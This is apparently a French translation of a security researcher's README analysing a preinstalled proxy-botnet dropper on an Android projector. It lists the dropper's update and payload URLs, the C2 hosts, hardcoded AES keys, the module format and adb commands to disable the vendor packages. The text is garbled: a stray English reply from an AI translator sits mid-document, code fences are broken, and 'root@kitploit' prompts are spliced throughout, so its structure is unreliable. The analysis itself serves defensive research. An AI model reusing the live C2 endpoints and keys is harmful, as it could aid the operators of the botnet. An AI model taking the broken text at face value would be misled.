  • Donc une suppression permanente signifie supprimer les APK de super dans votre dump et le flasher via FEL. Non testé.``` adb shell getprop ro.boot.vbmeta.device_state # locked adb shell getprop ro.boot.verifiedbootstate # (empty) adb shell df -h /system # 1.1G 1.1G 3.4M 100%
root@kitploit:~
### 8.5. Logiciels superflus```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest

Réactiver avec pm enable --user 0 <package>

  • com.android.toofifi : service de screencast principal. Vous perdez la mise en miroir d'écran (diffusion de type Miracast/AirPlay) depuis les téléphones et les ordinateurs portables.
  • com.toofifi.lineserver : serveur d'affichage filaire/USB pour la même pile, communique avec server.mphotool.com:8680 pour les vérifications de licence. Vous perdez le mode d'affichage filaire.
  • com.toofifi.miracast : récepteur Miracast sans fil, appelle server.mphotool.com:8680/MPAPI/System/CheckUpdate et téléverse des journaux d'utilisation vers mphotool.com/FeituAppLogMgr. Vous perdez la diffusion sans fil.
  • com.mphotool.usbcastserver : serveur de diffusion USB, même fournisseur. Vous perdez la prise en charge de la diffusion USB depuis l'appareil.
  • com.rockchip.devicetest : aucune raison d'être sur une unité Allwinner.

9. Cartographie complète des composants

Analyse statique. Les sources décompilées brutes, les modules .rf déchiffrés et les scripts utilisés sont conservés dans analysis/ (decompiled/, decrypted_modules/, tools/).

9.1 Programme de mise à jour OTA

com.android.sysapp

Les classes décompilées a.a.b.m/a.a.b.n donnent la requête OTA exacte et littérale :``` POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo &productid=<ro.android.productid, default "74865231"> &device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269"> &devices_version=<ro.build.version.incremental> &update_type=1|2 # 1 auto check, 2 forced ("check for update" button)

root@kitploit:~
via Apache `HttpPost` avec un corps de formulaire vide. Tout se trouve dans la chaîne de requête, donc GET et POST sont équivalents et il n'y a ni signature ni jeton. Rejoué en direct (2026‑09‑26) : `{"code":200,"data":[]}`, semble n'avoir aucun paquet pour ce productid, à toutes les versions essayées.

### 9.2 Dropper

`com.android.umanalytics.yiyou`

**Auto-mise à jour** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` fournit `DownLoadURL` avec `MD5` et `VersionCode` qui est téléchargé, vérifié par MD5, `PkgUtils.install(path, 1)` et s'auto-remplace silencieusement.

**Récupération de `plugin.jar`** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` fournit `plugin.jar` qui est téléchargé vers `<cache>/plugin.jar` chargé avec `DexClassLoader`. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` est le point d'entrée.

**Profil de liste d'applications par appareil**
Ce sont les applications personnalisées pour chaque appareil de la campagne (probablement patchées pour contourner les DRM ?)

`com.anlytics.plug.b` identifie la carte (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, les paquets installés, des fichiers comme `/system/etc/voice.tar.gz`) par rapport à 40 profils codés en dur et sélectionne l'URL `appsinfo/.../infos*.json` correspondante parmi les constantes de `com.tools.a`.

Cet appareil embarque `com.ashd.launcher10` et rapporte `persist.sys.cm.dtsmodel=AT-M269` / carte `ares` et le seul profil H713 « launcher10 » dans la table est :```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json

I don't see any content to translate in your message. The INPUT section appears to be empty — you've provided the instructions and chunk metadata (chunk 53 of 66, en → fr, README), but no actual Markdown text follows.

Please paste the source content for chunk 53, and I'll return the French translation following all the rules you've specified.```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"

root@kitploit:~
**Liste complète des 40 URL de profils**
Chacune correspond probablement à une famille d'appareils victimes dans le cadre de la même campagne :```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json  H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json  YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json

Chaque infos*.json liste les applications à pm install -r (charge utile com.google.adtest + applications de couverture comme Disney+) tel que décrit au point 3.

9.3 plugin.jar

Chiffrement de l'hôte C2 com.hs.p.basic.Hosts/EncryptUtils Chaque chaîne d'hôte est en AES/CFB/NoPadding (clé MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708"), compressée en gzip, puis encodée en base64 :

  • API_MASTER_HOSTS : https://api.loritor.cc/
  • TRACKER_SLAVE_HOSTS : https://api.loritor.cc/
  • API_SLAVE_HOSTS : https://api.nizero.cc/
  • TRACKER_MASTER_HOSTS : https://api.nizero.cc/ (priorité inversée par rapport au canal API ?)

loritor.cc et nizero.cc semblaient tous deux hors service au moment de ces tests.

Chemins de l'API de tâches/configuration GetTaskApi, GetConfigApi POST <host>/0x01/ov/x1 (configuration : fenêtres silencieuses, bascule des logs, push de la liste d'hôtes, période de polling) et POST <host>/0x01/ov/x2 (liste de tâches : jars[]/dexs[]/apks[] paginés par curseur, chacun avec file_url/file_md5/vercode/task_id). Le champ "data" du corps de la réponse est chiffré de la même manière, clé "ota.api.d3b194c07b63d688969c258719ca3f0f".

Format de module .rf En déchiffrant les quatre modules dont je dispose avec des signatures DSA valides : [4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].

Clé AES = MD5("968a84be78d3421d5e771147dce2b766" + salt), même IV fixe que ci-dessus.

La clé publique DSA est codée en dur (1024 bits, intégrée dans DexManager/JarExe). Le texte en clair est un ZIP/APK, pas un dex brut.``` SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"} SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"} SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"} SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}

root@kitploit:~
### 9.4 com.ad.proxy

`SKN0041`

L'entrée `MainApi.start_W0017` démarre le client `Robin`. Deux points de terminaison HTTP(S) en clair, `channel`/`version` fournis par celui qui a invoqué le module :```
GET  https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
     body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
     # reports back which proxy gateways it reached

9.5 com.szns.sdk

SKN0054

Les chaînes de domaine/IP ici sont obfusquées : Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip dans la classe com.szns.sdk.t.

J'ai reproduit l'algorithme exact (analysis/tools/decode_szns_t.py) et déchiffré les quatre points de terminaison d'amorçage codés en dur :``` ac.a() -> https://hgsdkszns.com ac.b() -> http://dporder.midrouterx.com/api/dispatch (state 1: fetch "domain_info", cached 24h) ac.c() -> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico (state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss") ac.d() -> 43.173.127.241:9090 (state 5: "ip_tcp_info" bootstrap)

root@kitploit:~
Si aucune URL de dispatch en cache (état 7) :
Balayage UDP de `43.153.12.1` - `43.153.80.100:8080`

Envoi de la charge utile ASCII littérale `"moon2"`, en attendant toute réponse commençant par `http`. Cette réponse devient l'URL de dispatch.

Chaque requête bootstrap est `POST <url>` avec les champs de formulaire `{"operator":<c>,"c":"moon2","name":<d>}` dans `com.szns.sdk.x`.

Quelle que soit l'URL de dispatch résolue, les mêmes champs lui sont ensuite POSTés et elle renvoie la liste réelle des passerelles, chiffrée en `AES/CBC/PKCS5` (clé `"5360e2884c119aa32a767ceb1c0889b0"`, IV aléatoire, enveloppe `base64(iv):base64(ciphertext)`)

Format JSON déchiffré : `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.

### 9.6. com.link.core

`SKN0058 `

Passerelle unique codée en dur, aucune couche de découverte : `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. Résolveurs DNS utilisés pour ses propres recherches : `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`. Lit `/proc/cpuinfo` et `/sys/class/net/{eth0,wlan0}/address` pour l'empreinte de l'appareil.

### 9.7. ddth2 (VpsSdk)

`SKN0061`

Pool de passerelles codé en dur, `ddth2.hidden.o` : domaines `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IPs `45.43.57.99`, `165.154.135.52`.

Un protocole TCP binaire personnalisé persistant :

- connexion
- handshake `REGISTER`/`REGISTER_ACK` (en-tête de trame de 8 octets, opcode+longueur)
- la passerelle pousse ensuite des commandes de connexion (`{host, port}`
- filtrées contre les plages privées/loopback/multicast qui génèrent des sockets proxifiés par session, expliquant les « nombreuses instances client parallèles ».

### 9.8. com.google.adtest

ou `com.fotas.wanapp ("com.speed")`

Le vrai nom de package interne est `com.fotas.wanapp` (classe App `com.fotas.wanapp.APP`). `onCreate()` configure trois hôtes selon le même schéma maître/esclave/aléatoire que `plugin.jar` :```
master -> https://api.pechlo.cc/
slave  -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/

La vérification de l'appareil s'effectue via POST https://codedevapp.com/api/v1/device/dau.

Deux services sont démarrés :

  • com.google.android.AdService
  • com.google.android.BakService

Sonde par réflexion et initialise une classe optionnelle com.fotas.wanapp.ChannelSdkInit si elle est présente. Chaînes d'identifiant d'application : "wanapp", "WAN_AISHANG_001".

9.9. Instantané de l'état en direct (2026-09-26)

Vérification de joignabilité en lecture seule depuis un hôte indépendant (aucun protocole/charge utile de proxy envoyé, aucune interaction avec le projecteur lui-même) :

10. URLs

11. Autre

Options de développement :

  1. Deviceversion.onKeyDown (écran « Device info » des paramètres) surveille un code de style Konami, Haut Haut Bas Bas Gauche Gauche Droite Droite Centre Centre, qui tente d'ouvrir les options de développement. Pour moi, cela n'a pas fonctionné.
  2. Haut Bas Gauche Droite Centre tente de lancer com.konka.readmain.MainActivity, une application de test d'usine OEM sans rapport qui n'est en fait pas installée sur cet appareil. Idem, cela n'a pas fonctionné.``` adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion adb shell input keyevent 19 adb shell input keyevent 19 adb shell input keyevent 20 adb shell input keyevent 20 adb shell input keyevent 21 adb shell input keyevent 21 adb shell input keyevent 22 adb shell input keyevent 22 adb shell input keyevent 23 adb shell input keyevent 23
root@kitploit:~
Télécharger l’outil
TermeCe qu'il faitLAN
NetworkInterface (adtest, plugin, SKN0061)Lit l'IP et l'adresse MAC de l'appareil pour l'ID du botNon
DatagramSocket dans SKN0041Relais UDP pour les sessions proxy vers la passerelleNon
DatagramSocket dans SKN0054Découverte C2 : balaye 43.153.12-80.1-100:8080 (plage de cloud public)Non
ServerSocket dans plugin.jarServeur de re-diffusion vidéo, voir ci-dessousNon
Occurrences de Runtime.exec (yiyou, plugin.jar, adtest, SKN0041/54/58/61)Internes de SDK tiers, chmod 777 sur des fichiers locaux, su/pm/dumpsys pour les vérifications d'application au premier plan ou de root, et ping émis par l'opérateur dans SKN0041Uniquement la commande ping
UPnP, mDNS/NSD, SSDP, WiFi Direct, calculs ARP/sous-réseau, ADB 5555, telnetaucunNon
systemmixservice / libsystemmixservice.so / libsystemmix_jni.soService OEM Binder uniquement : get/set de propriétés, lecture/écriture/suppression brute de fichiers, mount/umount, logo/animation de démarrage. Aucun symbole socket/bind/connect/listen/accept dans l'un ou l'autre binaireNon
qwDémon su Superuser/ClockworkMod. Uniquement des chemins de socket de domaine Unix dans ses chaînes (/dev/com.koushikdutta.superuser[.daemon]), aucun littéral IP, aucun AF_INETNon
com.android.nfx (NFXAccessibility)Assistant de navigation D-pad Netflix, actif uniquement lorsque com.netflix.mediaclient est au premier plan. Le manifeste n'a aucune permission INTERNETNon
// SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only
str.equals("0.0.0.0")str.matches("^10\..*")
HôteRésultat DNS / connexionRemarques
api.loritor.cc, api.nizero.ccrésout (Cloudflare), HTTP 404 sur /actif ; les vrais chemins sont /0x01/ov/x1, /0x01/ov/x2
api.kookjar.comrésout (Cloudflare, 172.67.159.65), HTTP 204actif
152.32.240.141 (repli de débogage SKN0041)TCP/80 timeoutnon joignable ; chemin réservé au débogage de toute façon, la production utilise api.kookjar.com
dporder.midrouterx.comrésout en direct (43.174.196.241, Tencent Cloud), HTTP 200 sur /api/dispatchactif
seed-info.oss-ap-southeast-1.aliyuncs.comrésout (47.79.49.170, Alibaba Cloud SG), HTTP 200, sert favorite.icoactif
hgsdkszns.comrésout (Cloudflare)DNS actif ; sonde HTTPS simple réinitialisée (branche inutilisée dans la version actuelle, voir 10.5)
43.173.127.241:9090la connexion TCP brute réussitactif, en écoute en ce moment
api.eviceh.cc:16000résout (152.53.83.204)DNS actif, TCP/16000 refusé au moment de la vérification (passerelle non en écoute actuellement)
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52non revérifiés lors de cette passevoir section 11
api.pechlo.cc, api.logobi.ccrésolvent (Cloudflare), HTTP 404 sur /actifs
random.vivosoc.ccaucun enregistrement DNSsemble mort/expiré
codedevapp.comrésout (5.161.41.216, Hetzner)actif ; /api/v1/device/dau est en POST uniquement donc un simple GET échoue
Hôte / URLComposantRôle
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.comsysapp, yiyoudomaine backend OEM racine
wjtysj.ishanghd.com/hx_kt.phpsysapp (AshdSysApp)C2 du programme de mise à jour OTA (act=project&do=getPackageInfo)
ty.ishanghd.com/work/app/wj/factory/update.jsonyiyoupointeur d'auto-mise à jour du dropper
ty.ishanghd.com/work/app/wj/appsinfo/* (40 chemins, voir ci-dessus)yiyoulistes de charges utiles/applications par famille d'appareils (cibles pm install -r)
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.jsonyiyoupointeur de récupération de plugin.jar
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jaryiyoucharge utile réelle plugin.jar (chemin versionné, change au fil du temps)
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zipplugin.jarbundle de clés/licences DRM Widevine L3, déposé pour que les applications de streaming fonctionnent sur l'appareil non certifié
api.loritor.cc, api.nizero.ccplugin.jar ("hs")API de tâches/configuration (/0x01/ov/x1, /0x01/ov/x2), à la fois comme canal API (maître/esclave) et canal de suivi (esclave/maître inversés)
api.kookjar.com (+ 152.32.240.141 débogage)SKN0041/signin, /report
api.eviceh.cc:16000SKN0058passerelle unique
hgsdkszns.comSKN0054hôte d'amorçage supplémentaire codé en dur (branche inutilisée dans la version actuelle)
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, atteint via l'amorçage OSS ci-dessous)SKN0054amorçage de répartition principal
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.icoSKN0054redirecteur d'amorçage hébergé sur OSS (Alibaba Cloud OSS)
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.icoSKN0054miroir de sauvegarde Tencent COS de la même configuration d'amorçage
43.173.127.241:9090SKN0054hôte d'amorçage ip_tcp_info (port exact confirmé, actif)
43.135.136.224SKN0054passerelle de répartition observée active (tcp/7788 /api/dispatch, tcp/9090)
43.159.148.198SKN0054point de terminaison passerelle/liste de serveurs observé actif, /dp/getServer (probablement renvoyé dynamiquement dans la liste chiffrée node[])
43.130.60.175SKN0054nœud de passerelle proxy supplémentaire (tcp/9090), observé actif
43.153.12.1–43.153.80.100:8080 (UDP)SKN0054balayage de découverte ; la charge utile de sonde est l'ASCII littéral moon2
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52SKN0061pool de passerelles, protocole proxy TCP personnalisé
api.pechlo.cc, api.logobi.cc, random.vivosoc.cccom.speed / com.fotas.wanappC2 maître/esclave/aléatoire
codedevapp.com/api/v1/device/daucom.speed / com.fotas.wanappvérification de l'appareil
live.sz-cloudmedia.com:8080/ota/OTA hérité (variante sysapp plus ancienne/sœur)impasse, le domaine n'a pas de dépôt ICP, Alibaba le bloque.
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.comyiyou (SDK Umeng)télémétrie analytique tierce, transportant les empreintes d'appareil (numéro de série, MAC, SSID/BSSID) que l'application yiyou collecte
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.comyiyou (SDK Baidu Mobile Stats)même rôle de télémétrie, via Baidu
cmnsguider.yunos.com, ip.taobao.com, g3.le.comyiyouservices de recherche de jeton d'appareil et d'IP publique Alibaba/Yunos utilisés pour le fingerprinting